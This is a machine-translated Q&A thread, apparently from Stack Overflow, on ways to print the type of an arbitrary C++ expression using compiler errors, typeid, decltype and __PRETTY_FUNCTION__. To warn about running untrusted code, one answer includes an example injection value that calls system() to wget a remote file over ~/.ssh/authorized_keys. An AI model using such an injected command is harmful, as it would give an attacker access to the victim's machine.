输出任意c++表达式的类型
Print types of arbitrary C++ expressions
我对编写一个用于教学目的的工具感兴趣,该工具计算c++表达式并打印其类型。从本质上讲,我的想法是,我的学生可以输入任何表达式,程序会返回表达式的类型。是否有一个现有的工具已经做到了这一点?如果没有,是否有一种非常简单的方法可以通过集成现有的编译器并调用其调试器或API来实现?例如,有人告诉我,Clang有一个相当完整的编译器API,也许有一些方法可以将字符串与适当的include指令一起传递给Clang,并让它吐出类型?
我意识到这可能是一个巨大的项目,如果没有接近这个现有的今天。我只是觉得它会有很大的教育价值,所以似乎值得一试。
受Ben Voigt评论的启发,我想出了一个答案。只要制造一个错误,让编译器告诉你是哪一种类型导致的:
template <typename T> void foo(T); // No definition
int main() {
foo(1 + 3.0);
}
结果:In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'
而且,因为你只执行编译器,所以你是相当安全的。真的不需要沙箱。如果您得到的不是"对void foo<T>(T)
的未定义引用",则说明它不是表达式。
[edit]你会怎么把它放进一个工具里?简单,使用宏的
// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
foo(EXPR);
}
现在用$(CC) /D=(EXPR) TestHarness.cpp
编译。
进一步改进MSalter的改进:
class X {
template <typename T> static void foo(T) {}
};
int main() {
X::foo( $user_code );
}
Result (with $user_code = "1 + 3.0"
):
prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context
这避免了链接步骤。
原始回答:
c++有typeid
关键字。从概念上讲,您只需要将用户的表达式粘贴到一些样板文件中,例如:
extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
const type_info& the_type = typeid( $user_code );
puts(the_type.name());
}
然后将该源文件传递给编译器,并运行它以获得答案。
实际上,要避免运行恶意代码是很困难的。你需要使用某种类型的沙盒。或者非常非常小心地确保没有不匹配的括号(你知道什么是三角字符,对吧?)。
<引用类>是的,我知道typeid
的参数没有被评估。但让$usercode
成为1); system("wget -O ~/.ssh/authorized_keys some_url"
!
一个更好的选择是避免运行程序。使用框架(需要c++ 11),如:
extern "C" decltype( $user_code )* the_value = 0;
你可以运行编译器来生成调试数据,然后使用例如dwarf2阅读器库来获取与the_value
相关的符号类型信息,然后删除一层指针。
在GCC和Clang中使用__PRETTY_FUNCTION__
可以做到这一点:
#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
// __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "] "
return std::string_view{ begin, size };
}
template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
my_class<int&, std::vector<double>> my_arr[20];
std::cout << type_name<decltype(my_arr)>();
}
GCC的输出:
my_class<int&, std::vector<double> > [20]
我有兴趣编写一个用于教学目的的工具,计算c++表达式并打印它们的类型。从本质上讲,我的想法是,我的学生可以输入任何表达式,程序会返回表达式的类型。是否有一个现有的工具已经做到了这一点?
这些天,有一种这样的工具-在线。它只做你想要的作为一个意想不到的副产品。我说的是Matt Godbolt的Compiler Explorer。
你的"程序"看起来像这样:
#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
现在,如果您用c++表达式替换123
,您将在编译器错误消息部分中得到以下内容:
<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
| ^
Compiler returned: 1
第一行是你想要的类型,在尖括号内。
- 在VS2010-VS2015下编译时,如何使用decltype作为较大类型表达式的LHS
- 不能在初始值设定项列表中将非常量表达式从类型 'int' 缩小到'unsigned long long'
- 如何计算具有指定类型的表达式的相对精度和绝对精度
- 来自 DLL 的函数调用 [表观调用的括号前面的表达式必须具有(指向-)函数类型]
- 表达式 SFINAE:如何根据类型是否包含具有一个或多个参数的函数来选择模板版本
- 有没有办法一次声明相同类型的多个对象,并通过一个表达式立即使用相同的右值初始化它们?
- 表观调用前面的表达式必须具有指向 func 类型的指针
- 数组类型 int[n][n] 不可赋值,因为表达式必须具有常量值
- 正则表达式以匹配数字的重复模式,后跟任何类型的分隔符?
- C++ 编译错误:意外的类型名称"字符串":预期的表达式
- 表达式必须具有类类型 vs.
- 错误:表达式必须具有算术、无作用域枚举或带有运算符重载的指针类型
- 非类类型表达式的静态类型与动态类型之间的差异
- 如何确定涉及 C++ 中除法的算术表达式的数据类型
- 结构化绑定初始值设定项表单 { 赋值表达式 } 对于 clang 上的数组类型失败
- 下标需要数组或指针类型表达式必须具有指针对象类型
- 带有数组类型表达式的错误分配
- 表示函数参数的元组的类型表达式
- 如何确定撤销类型表达式的更大类型
- c++ 11中有新的函数类型表达式格式吗?